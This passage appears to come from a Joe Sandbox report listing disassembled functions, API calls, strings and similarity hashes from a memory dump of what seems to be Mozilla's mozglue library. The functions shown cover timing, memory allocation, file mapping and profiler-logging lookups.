Strings

0, xrefs: 6C68D30A
(null), xrefs: 6C68C596

Memory Dump Source

Source File: 00000000.00000002.2278034076.000000006C661000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.2278012281.000000006C660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278093908.000000006C6DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278120606.000000006C6EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278144838.000000006C6F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_file.jbxd

Similarity

API ID: ByteCharMultiWidestrlen$freemalloc
String ID: (null)$0
API String ID: 4074790623-38302674
Opcode ID: 49bfd057f3bc7383546bfecc9507e3fd1e90106272e0be66c024421a5ac5136f
Instruction ID: 06683d8ea1466d50abcb7f3deddde391079138ef6ad028cac560cc0b1d8ef5be
Opcode Fuzzy Hash: 49bfd057f3bc7383546bfecc9507e3fd1e90106272e0be66c024421a5ac5136f
Instruction Fuzzy Hash: FFA1A23060A342AFDB00DF29C59475ABBF1AFC9748F04892DE99AD7641D731D805CBAA

Function 6C663480 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 86librarytimeloaderCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,6C663284,?,?,6C6856F6), ref: 6C663492
GetProcessTimes.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,6C663284,?,?,6C6856F6), ref: 6C6634A9
LoadLibraryW.KERNEL32(kernel32.dll,?,?,?,?,?,?,?,?,6C663284,?,?,6C6856F6), ref: 6C6634EF
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 6C66350E
__Init_thread_footer.LIBCMT ref: 6C663522
__aulldiv.LIBCMT ref: 6C663552
FreeLibrary.KERNEL32(?,?,?,?,?,?,?,?,6C663284,?,?,6C6856F6), ref: 6C66357C
GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,?,?,?,?,6C663284,?,?,6C6856F6), ref: 6C663592

Part of subcall function 6C69AB89: EnterCriticalSection.KERNEL32(6C6EE370,?,?,?,6C6634DE,6C6EF6CC,?,?,?,?,?,?,?,6C663284), ref: 6C69AB94
Part of subcall function 6C69AB89: LeaveCriticalSection.KERNEL32(6C6EE370,?,6C6634DE,6C6EF6CC,?,?,?,?,?,?,?,6C663284,?,?,6C6856F6), ref: 6C69ABD1

Strings

GetSystemTimePreciseAsFileTime, xrefs: 6C663508
kernel32.dll, xrefs: 6C6634EA

Memory Dump Source

Source File: 00000000.00000002.2278034076.000000006C661000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.2278012281.000000006C660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278093908.000000006C6DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278120606.000000006C6EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278144838.000000006C6F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_file.jbxd

Similarity

API ID: CriticalLibraryProcessSectionTime$AddressCurrentEnterFileFreeInit_thread_footerLeaveLoadProcSystemTimes__aulldiv
String ID: GetSystemTimePreciseAsFileTime$kernel32.dll
API String ID: 3634367004-706389432
Opcode ID: 47102d6329aa94caa626574f6f9d717beff28f763fea88543d6aeb73f6c7fa0b
Instruction ID: 243c425a88dc2c7bcaa1731c31f876c5662ca6ddc87bd55438ec9fbb4bb2a9bb
Opcode Fuzzy Hash: 47102d6329aa94caa626574f6f9d717beff28f763fea88543d6aeb73f6c7fa0b
Instruction Fuzzy Hash: CF31B571B052069BDF40DFBBD888AAA77B5FB8E304F10402BE50197A50DB70A905CF6E

Function 6C664480 Relevance: 16.8, APIs: 11, Instructions: 316COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(B60B60B8,?,?,?,?,6C6A4843,?), ref: 6C6645F5
free.MOZGLUE(?,?,?,?,?,?,?,?,6C6A4843,?), ref: 6C66468A
free.MOZGLUE(?,?,?,?,?,?,6C6A4843,?), ref: 6C6646C9
free.MOZGLUE(?), ref: 6C6646EF
free.MOZGLUE(?), ref: 6C664712
free.MOZGLUE(?), ref: 6C664735
free.MOZGLUE(?), ref: 6C664758
free.MOZGLUE(?), ref: 6C66477B
free.MOZGLUE(?), ref: 6C66479E

Memory Dump Source

Source File: 00000000.00000002.2278034076.000000006C661000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.2278012281.000000006C660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278093908.000000006C6DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278120606.000000006C6EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278144838.000000006C6F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_file.jbxd

Similarity

API ID: free$moz_xmalloc
String ID:
API String ID: 3009372454-0
Opcode ID: c26bf93531b8ae684d059d763827ffebdd892117c62c1fe57b4edc5a752ffdce
Instruction ID: ba556743f221af4b78f10a9e4fd8d48be53c596a61dd722216e4544a21177dae
Opcode Fuzzy Hash: c26bf93531b8ae684d059d763827ffebdd892117c62c1fe57b4edc5a752ffdce
Instruction Fuzzy Hash: B9B1F571A011508FDB18DE3DC8F47BD76A2AF42328F18462DE416DBF92D7B0D8408B9A

Function 6C6CAC20 Relevance: 16.6, APIs: 11, Instructions: 92fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 6C6CAC52
CreateFileMappingW.KERNEL32 ref: 6C6CAC7D
GetSystemInfo.KERNEL32 ref: 6C6CAC98
MapViewOfFile.KERNEL32 ref: 6C6CACB0
GetSystemInfo.KERNEL32 ref: 6C6CACCD
MapViewOfFile.KERNEL32 ref: 6C6CAD05
UnmapViewOfFile.KERNEL32 ref: 6C6CAD1C
CloseHandle.KERNEL32 ref: 6C6CAD28
UnmapViewOfFile.KERNEL32 ref: 6C6CAD37
CloseHandle.KERNEL32 ref: 6C6CAD43
CloseHandle.KERNEL32 ref: 6C6CAD67

Memory Dump Source

Source File: 00000000.00000002.2278034076.000000006C661000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.2278012281.000000006C660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278093908.000000006C6DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278120606.000000006C6EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278144838.000000006C6F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_file.jbxd

Similarity

API ID: File$View$CloseHandle$CreateInfoSystemUnmap$Mapping
String ID:
API String ID: 1192971331-0
Opcode ID: 023336db23f68bc5026b341faebd32b27d9f723106fc65fad8efa5790252f602
Instruction ID: 6ee1b20b3616a01512b7ee2835c396384372537de005f4bf46eccf95f4322ed5
Opcode Fuzzy Hash: 023336db23f68bc5026b341faebd32b27d9f723106fc65fad8efa5790252f602
Instruction Fuzzy Hash: 723172B1A087458FDB40EF7DD68826EBBF0FF89305F01492DE98587211EB709449CB8A

Function 6C679620 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 103libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6C679675
__Init_thread_footer.LIBCMT ref: 6C679697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6C6796E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6C679707
__Init_thread_footer.LIBCMT ref: 6C67971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C679773

Part of subcall function 6C69AB89: EnterCriticalSection.KERNEL32(6C6EE370,?,?,?,6C6634DE,6C6EF6CC,?,?,?,?,?,?,?,6C663284), ref: 6C69AB94
Part of subcall function 6C69AB89: LeaveCriticalSection.KERNEL32(6C6EE370,?,6C6634DE,6C6EF6CC,?,?,?,?,?,?,?,6C663284,?,?,6C6856F6), ref: 6C69ABD1

GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6C6797B7
FreeLibrary.KERNEL32 ref: 6C6797D0
FreeLibrary.KERNEL32 ref: 6C6797EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C679824

Strings

NtMapViewOfSection, xrefs: 6C679701
ntdll.dll, xrefs: 6C6796E3
MapViewOfFileNuma2, xrefs: 6C6797B1
Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6C679670

Memory Dump Source

Source File: 00000000.00000002.2278034076.000000006C661000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.2278012281.000000006C660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278093908.000000006C6DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278120606.000000006C6EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278144838.000000006C6F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_file.jbxd

Similarity

API ID: Library$AddressCriticalErrorFreeInit_thread_footerLastLoadProcSection$EnterLeave
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 409848716-3880535382
Opcode ID: d164c533ac64ca0d3463f864b013e8a84e0fd4d92e9941ef3cd11da378819c70
Instruction ID: 1e3dd68d33a9de1dd87b30dc503c4a2b429aa39a3dc4d49a64d0a2f129c21d1f
Opcode Fuzzy Hash: d164c533ac64ca0d3463f864b013e8a84e0fd4d92e9941ef3cd11da378819c70
Instruction Fuzzy Hash: FB41B2706042069BDF10CFA6F8D4A9677F4EB8E368F00452AED1587740D730A809CFAE

Function 6C673E80 Relevance: 13.7, APIs: 9, Instructions: 246memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,00000000,?,?,?,?,?,?,6C673CCC), ref: 6C673EEE
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6C673FDC
RtlAllocateHeap.NTDLL(?,00000000,00000040,?,?,?,?,?,6C673CCC), ref: 6C674006
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6C6740A1
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6C673CCC), ref: 6C6740AF
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6C673CCC), ref: 6C6740C2
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6C674134
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,00000040,?,?,?,?,?,6C673CCC), ref: 6C674143
RtlFreeUnicodeString.NTDLL(?,?,?,00000000,?,?,00000000,00000040,?,?,?,?,?,6C673CCC), ref: 6C674157

Memory Dump Source

Source File: 00000000.00000002.2278034076.000000006C661000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.2278012281.000000006C660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278093908.000000006C6DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278120606.000000006C6EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278144838.000000006C6F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_file.jbxd

Similarity

API ID: Free$Heap$StringUnicode$Allocate
String ID:
API String ID: 3680524765-0
Opcode ID: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction ID: 76d57677d3ddf042636cc45f3a983883448e28405eaad84ff908ca365631e2a7
Opcode Fuzzy Hash: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction Fuzzy Hash: BDA18FB1A00215CFDB50CF68C884769B7B5FF49308F2549A9D909AF742D771E886CFA4

Function 6C6B9D00 Relevance: 13.7, APIs: 9, Instructions: 178timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,6C6B8273), ref: 6C6B9D65
free.MOZGLUE(6C6B8273,?), ref: 6C6B9D7C
free.MOZGLUE(?,?), ref: 6C6B9D92
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C6B9E0F
free.MOZGLUE(6C6B946B,?,?), ref: 6C6B9E24
free.MOZGLUE(?,?,?), ref: 6C6B9E3A
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6C6B9EC8
free.MOZGLUE(6C6B946B,?,?,?), ref: 6C6B9EDF
free.MOZGLUE(?,?,?,?), ref: 6C6B9EF5

Memory Dump Source

Source File: 00000000.00000002.2278034076.000000006C661000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.2278012281.000000006C660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278093908.000000006C6DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278120606.000000006C6EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278144838.000000006C6F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_file.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: 1ad498dab9a1107a443468b59837a338d9609c4cdff6e9f7e641f07508277b5c
Instruction ID: c881bac038a480dbb0d3e4a47df581315599390f96cb04b6e8c129ccca88a0b7
Opcode Fuzzy Hash: 1ad498dab9a1107a443468b59837a338d9609c4cdff6e9f7e641f07508277b5c
Instruction Fuzzy Hash: 6871A27090AB418BD712CF19C48059BF3F4FF99319B44961DE85A6B711EB30E886CBE9

Function 6C6BDDC0 Relevance: 13.7, APIs: 9, Instructions: 152COMMON

Download Yara Rule

APIs

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE ref: 6C6BDDCF

Part of subcall function 6C69FA00: ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C69FA4B

Part of subcall function 6C6B90E0: free.MOZGLUE(?,00000000,?,?,6C6BDEDB), ref: 6C6B90FF
Part of subcall function 6C6B90E0: free.MOZGLUE(?,00000000,?,?,6C6BDEDB), ref: 6C6B9108

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C6BDE0D
free.MOZGLUE(00000000), ref: 6C6BDE41
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C6BDE5F
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C6BDEA3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C6BDEE9
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6C6ADEFD,?,6C674A68), ref: 6C6BDF32

Part of subcall function 6C6BDAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C6BDB86
Part of subcall function 6C6BDAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C6BDC0E

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6C6ADEFD,?,6C674A68), ref: 6C6BDF65
free.MOZGLUE(?), ref: 6C6BDF80

Part of subcall function 6C685E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C685EDB
Part of subcall function 6C685E90: memset.VCRUNTIME140(ewll,000000E5,?), ref: 6C685F27
Part of subcall function 6C685E90: LeaveCriticalSection.KERNEL32(?), ref: 6C685FB2

Memory Dump Source

Source File: 00000000.00000002.2278034076.000000006C661000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.2278012281.000000006C660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278093908.000000006C6DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278120606.000000006C6EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278144838.000000006C6F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_file.jbxd

Similarity

API ID: free$CriticalImpl@detail@mozilla@@MutexSection$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedEnterExclusiveLeaveLockProfileReleasememset
String ID:
API String ID: 112305417-0
Opcode ID: 24c838a5b4460e9144107b39a5217c3697428aaff5691a973820a055317cf109
Instruction ID: 97f4aa10ab9ee4c6f2528d5326048276365870c741672b8c28b206b135cc9cf4
Opcode Fuzzy Hash: 24c838a5b4460e9144107b39a5217c3697428aaff5691a973820a055317cf109
Instruction Fuzzy Hash: 0D51C7726057019BD7118B18C8806EEB376AF9630CF95011DE41A7BB04D731F82BCB9E

Function 6C6C5D10 Relevance: 13.6, APIs: 9, Instructions: 126COMMON

Download Yara Rule

APIs

?_Fiopen@std@@YAPAU_iobuf@@PB_WHH@Z.MSVCP140(?,00000001,00000040,?,00000000,?,6C6C5C8C,?,6C69E829), ref: 6C6C5D32
?getloc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QBE?AVlocale@2@XZ.MSVCP140(?,00000000,00000001,?,?,?,?,00000000,?,6C6C5C8C,?,6C69E829), ref: 6C6C5D62
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000,?,?,?,?,00000000,?,6C6C5C8C,?,6C69E829), ref: 6C6C5D6D
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,00000000,?,6C6C5C8C,?,6C69E829), ref: 6C6C5D84
?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ.MSVCP140(?,?,?,?,00000000,?,6C6C5C8C,?,6C69E829), ref: 6C6C5DA4
?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,?,?,?,?,00000000,?,6C6C5C8C,?,6C69E829), ref: 6C6C5DC9
std::_Facet_Register.LIBCPMT ref: 6C6C5DDB
??1_Lockit@std@@QAE@XZ.MSVCP140(?,?,?,?,00000000,?,6C6C5C8C,?,6C69E829), ref: 6C6C5E00
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,00000000,?,6C6C5C8C,?,6C69E829), ref: 6C6C5E45

Memory Dump Source

Source File: 00000000.00000002.2278034076.000000006C661000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.2278012281.000000006C660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278093908.000000006C6DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278120606.000000006C6EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278144838.000000006C6F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?getloc@?$basic_streambuf@Bid@locale@std@@D@std@@@std@@Facet_Fiopen@std@@Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterU?$char_traits@U_iobuf@@V42@@Vfacet@locale@2@Vlocale@2@abortstd::_
String ID:
API String ID: 2325513730-0
Opcode ID: cf5a265f741b701e92de0337592e9183caec9448fa066f45890d769e2467b32b
Instruction ID: d193e4ed4ab2da31b99b00b329b4eaafc91d886135456b809a9e308eda1889a8
Opcode Fuzzy Hash: cf5a265f741b701e92de0337592e9183caec9448fa066f45890d769e2467b32b
Instruction Fuzzy Hash: 7B4119707043059FCB10DF66CCD8AAE77B5EF89314F544069E50697791EB34A805CB6E

Function 6C69CC60 Relevance: 13.6, APIs: 7, Strings: 2, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,00003000,00003000,00000004,?,?,?,6C6631A7), ref: 6C69CDDD

Strings

: (malloc) Error in VirtualFree(), xrefs: 6C69CFA4, 6C69CFB8
<jemalloc>, xrefs: 6C69CF9F, 6C69CFB3

Memory Dump Source

Source File: 00000000.00000002.2278034076.000000006C661000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.2278012281.000000006C660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278093908.000000006C6DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278120606.000000006C6EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278144838.000000006C6F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_file.jbxd

Similarity

API ID: AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 4275171209-2186867486
Opcode ID: 840f08989fe30cffdd86d0931cbaefee84fa11bc865c75a8df4da571c9bc8730
Instruction ID: 5a72dd55c87409d987898309fbb058ed71cc9450c04bb74c1cdc8418054cb6e6
Opcode Fuzzy Hash: 840f08989fe30cffdd86d0931cbaefee84fa11bc865c75a8df4da571c9bc8730
Instruction Fuzzy Hash: EA31B8307452076BEF10AFA68C45BAE7B75AF85754F204016F517ABA80DB70D901CB9D

Function 6C66ECD0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 143fileCOMMON

Download Yara Rule

APIs

Part of subcall function 6C66F100: LoadLibraryW.KERNEL32(shell32,?,6C6DD020), ref: 6C66F122
Part of subcall function 6C66F100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C66F132

moz_xmalloc.MOZGLUE(00000012), ref: 6C66ED50
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C66EDAC
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,\Mozilla\Firefox\SkeletonUILock-,00000020,?,00000000), ref: 6C66EDCC
CreateFileW.KERNEL32 ref: 6C66EE08
free.MOZGLUE(00000000), ref: 6C66EE27
free.MOZGLUE(?,?,?,?,?,?,?,00000000,00000000,00000000), ref: 6C66EE32

Part of subcall function 6C66EB90: moz_xmalloc.MOZGLUE(00000104), ref: 6C66EBB5
Part of subcall function 6C66EB90: memset.VCRUNTIME140(00000000,00000000,00000104,?,?,6C69D7F3), ref: 6C66EBC3
Part of subcall function 6C66EB90: GetModuleFileNameW.KERNEL32(00000000,00000000,00000104,?,?,?,?,?,?,6C69D7F3), ref: 6C66EBD6

Strings

\Mozilla\Firefox\SkeletonUILock-, xrefs: 6C66EDC1

Memory Dump Source

Source File: 00000000.00000002.2278034076.000000006C661000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.2278012281.000000006C660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278093908.000000006C6DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278120606.000000006C6EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278144838.000000006C6F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_file.jbxd

Similarity

API ID: Filefreemoz_xmallocwcslen$AddressCreateLibraryLoadModuleNameProcmemset
String ID: \Mozilla\Firefox\SkeletonUILock-
API String ID: 1980384892-344433685
Opcode ID: 7c89b757da304d81f47daca4a3ec9417b2e40d8d7b3285e2a3115394e37ba023
Instruction ID: 526ef633039df3f84f54ae53bcefd7f88d67dfc42b7e53b281d6db1f6f9ffd84
Opcode Fuzzy Hash: 7c89b757da304d81f47daca4a3ec9417b2e40d8d7b3285e2a3115394e37ba023
Instruction Fuzzy Hash: AC51B071D052049BDB10DF6ACC807EEB7B0AF5A318F44842DE8556BB40E7306949CBAB

Function 6C6DA520 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117COMMON

Download Yara Rule

APIs

?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6C6DA565

Part of subcall function 6C6DA470: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C6DA4BE
Part of subcall function 6C6DA470: memcpy.VCRUNTIME140(?,?,00000000), ref: 6C6DA4D6

?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE ref: 6C6DA65B
?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C6DA6B6

Strings

0, xrefs: 6C6DA5FB
z, xrefs: 6C6DA6AE

Memory Dump Source

Source File: 00000000.00000002.2278034076.000000006C661000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.2278012281.000000006C660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278093908.000000006C6DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278120606.000000006C6EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278144838.000000006C6F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@$Ascii@CreateDtoaExponentialHandleMode@12@Representation@SpecialValues@memcpystrlen
String ID: 0$z
API String ID: 310210123-2584888582
Opcode ID: 0c1ba5fe5e47d7c3c384947923d01e69897642f5e9977b43397bafc57339331a
Instruction ID: 8a50f233af3731229db76fefd128ceee544304a1d7df8cb7de7dfa10b72b5621
Opcode Fuzzy Hash: 0c1ba5fe5e47d7c3c384947923d01e69897642f5e9977b43397bafc57339331a
Instruction Fuzzy Hash: 764114719097459FC341DF28C080A9ABBE5BFCA354F418A2EF49987651EB30E649CB86

Function 6C6A9420 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 6C69AB89: EnterCriticalSection.KERNEL32(6C6EE370,?,?,?,6C6634DE,6C6EF6CC,?,?,?,?,?,?,?,6C663284), ref: 6C69AB94
Part of subcall function 6C69AB89: LeaveCriticalSection.KERNEL32(6C6EE370,?,6C6634DE,6C6EF6CC,?,?,?,?,?,?,?,6C663284,?,?,6C6856F6), ref: 6C69ABD1

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C674A68), ref: 6C6A945E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C6A9470
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C6A9482
__Init_thread_footer.LIBCMT ref: 6C6A949F

Strings

MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C6A9459
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C6A946B
MOZ_BASE_PROFILER_LOGGING, xrefs: 6C6A947D

Memory Dump Source

Source File: 00000000.00000002.2278034076.000000006C661000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.2278012281.000000006C660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278093908.000000006C6DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278120606.000000006C6EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278144838.000000006C6F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_file.jbxd

Similarity

API ID: getenv$CriticalSection$EnterInit_thread_footerLeave
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING
API String ID: 4042361484-1628757462
Opcode ID: 1ddc067ef5ceae5c2507d7c11ee47fbfe3b5e56f265a003395e79308b3dfc210
Instruction ID: 7e48f4cd12a12f25824c74ef2ae1b15a66ac46c421b0201b4fc04efa4c7eb7fc
Opcode Fuzzy Hash: 1ddc067ef5ceae5c2507d7c11ee47fbfe3b5e56f265a003395e79308b3dfc210
Instruction Fuzzy Hash: 3601D870A09101CBEB40DB9EE955A8933B5DF0E32CF144537D90AC7B43D623D956895F

Function 6C66B630 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(?,?,?,?,6C66B61E,?,?,?,?,?,00000000), ref: 6C66B6AC

Part of subcall function 6C67CA10: malloc.MOZGLUE(?), ref: 6C67CA26

